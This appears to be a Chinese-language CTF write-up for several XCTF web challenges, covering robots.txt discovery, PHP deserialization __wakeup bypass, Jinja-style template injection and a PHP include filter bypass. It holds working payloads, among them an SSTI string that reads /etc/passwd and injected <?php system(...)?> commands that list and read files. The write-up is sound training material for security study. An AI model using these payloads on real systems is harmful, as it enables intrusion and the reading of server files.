攻防世界 - Web(一)
baby_web:
1.根据题目提示,初始页面即为index,将1.php改为index.php,发现依然跳转成1.php,尝试修改抓包,出现如下回显,

2.在header中获取flag,

flag:
flag{very_baby_web}
Training-WWW-Robots:
1.进入页面,

2.直接:http://IP:端口/robots.txt就能够访问,得到robots协议,发现一个fl0g.php但是无法访问,我们尝试直接访问,(用御剑直接扫描靶场也可得到php文件,直接访问同样可以获取flag)


flag:
cyberpeace{79df38364a852059f581632c44d043bf}
补充:
关于robots:
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件。
它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。
如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。
网站的根目录放一个robots.txt,会告诉搜索引擎这个网站里的那些文件可以访问,哪些不可以,
unserialize3:
1.进入页面,查看代码可知,要求通过_GET提交code值,绕过__wakeup()这个魔术方法,

2.利用反序列化漏洞:__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$x=new xctf();
echo serialize($x);
?>
获取反序列化的值:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
3.修改反序列化值为:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

flag:
cyberpeace{0246a70ac2b5885c194e9b6a0c6a3597}
补充:
php的序列化和反序列化:
php的序列化和反序列化由serialize()和unserialize()这两个函数来完成。
serialize()完成序列化的操作,将传入的值转换为序列化后的字符串,
而unserialize()完成反序列化的操作,将字符串转换成原来的变量。
(挂一张网图)
注意:
① 当属性为private属性时,它会在两侧加入空字节,导致其长度会增加2
② 序列化对象时只会序列化对象中的属性值,不会序列化其中的函数
魔术方法
PHP中以两个下划线开头的方法,__construct(), __destruct (), __call(), __callStatic(),__get(), __set(), __isset(), __unset (), __sleep(), __wakeup(), __toString(), __set_state,() __clone() __autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能
与序列化和反序列化的魔术方法主要是:
- __construct() //当一个对象创建时被调用
- __destruct() //对象被销毁时触发
- __wakeup() //使用unserialize时触发
- __sleep() //使用serialize时触发
- __toString() //把类当做字符串时触发
- __get() //用于从不可访问的属性读取数据
- __set() //用于将数据写入不可访问的属性
参考:
https://blog.csdn.net/silence1_/article/details/89716976
Web_python_template_injection:
1.进入页面,通过{{3+4}}可以判断存在python模板注入,


2.利用{{config.items() }}可以查看服务器的配置信息

4.寻找可用引用,
{{''.__class__.__mro__[2].__subclasses__()}}

5.可以看到有一个type file类型(可以进行文件读取)
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
6.

7.
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

flag:
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
参考:
https://www.freebuf.com/column/187845.html
https://blog.csdn.net/iamsongyu/article/details/85861811
https://www.cnblogs.com/wfzWebSecuity/p/9415641.html
https://xz.aliyun.com/t/2908
Web_php_include:
1.分析代码,可以看出只要有php://就会无限循环,
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
2. strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。
如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
strstr函数对大小写敏感,改成大写的PHP://
3.post传入:
<?php system("Is");?>

4.出现了三个文件,flag应该是在fl4g***.php这个文件中
用cat命令打开,<?php system ("cat fl4gisisish3r3.php")?>
flag:
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
参考:
(其他方法可以参考如下链接)
https://www.cnblogs.com/xhds/p/12218471.html
https://blog.csdn.net/Mr_helloword/article/details/107929653
攻防世界 - Web(一)的更多相关文章
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- XCTF攻防世界web进阶练习—mfw
XCTF攻防世界web进阶练习-mfw题目为mfw,没有任何提示.直接打开题目,是一个网站 大概浏览一下其中的内容,看到其中url变化其实只是get的参数的变化查看它的源码,看到有一个?page=fl ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...
随机推荐
- proxySQL with MGR
环境信息 hostname IP port role comm ms81 192.168.188.81 3399 master ms82 192.168.188.82 3399 slave ms83 ...
- OpenShift添加应用健康检查功能
什么是健康检查? 对于部署成功的应用来说,通过访问接口.执行特定命令等方式判断应用是否存活.正常的方式称为健康检查. 在 OpenShift 或 Kubernetes 中,健康检查都有两个探针,分别是 ...
- mysql单机多实例配置
Windows上配置多个mysql实例,主要改下配置文件即可,mysql目录如下: my2中主要改两个配置内容 datadir = D:/Program Files/Mysql/mysql-5.7.2 ...
- Oracle 常用语句1
-- 我是注释信息 sql语句 -- 创建用户: create user 用户名 identified by 密码; create user jack identified by j123; -- l ...
- css 17-CSS3的常见边框汇总
17-CSS3的常见边框汇总 #CSS3 常见边框汇总 <!DOCTYPE html> <html lang="en"> <head> < ...
- [GXYCTF2019]simple CPP
[GXYCTF2019]simple CPP 一.查壳 无壳,64位程序 二.IDA分析 找到主函数后动态调试,看的更清楚 经过调试后我们可以找到len就是储存字符串长度的变量,之后判断长度是不是大于 ...
- 详解Python Google Protocol Buffer
为什么要使用PB? PB(Protocol Buffer)是 Google 开发的用于结构化数据交换格式,作为腾讯云日志服务标准写入格式.因此用于写入日志数据前,需要将日志原始数据序列化为 PB 数据 ...
- Asp.Net Core使用MongoDB
MongoDB 是一个基于分布式且面向文档存储的开源 NoSql数据库系统 MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的.它支持的数据结构 ...
- 一.C语言概述
C语言的起源 贝尔实验室的Dennis Ritchie在1972年开发了C,当时他正与ken Thompson一起设计UNIX操作系统,然而,C并不是完全由Ritchie构想出来的.它来自Thomps ...
- [LeetCode]172. Factorial Trailing Zeroes阶乘尾随0的个数
所有的0都是有2和45相乘得'到的,而在1-n中,2的个数是比5多的,所以找5的个数就行 但是不要忘了25中包含两个5,125中包含3个5,以此类推 所以在找完1-n中先找5,再找25,再找125.. ...
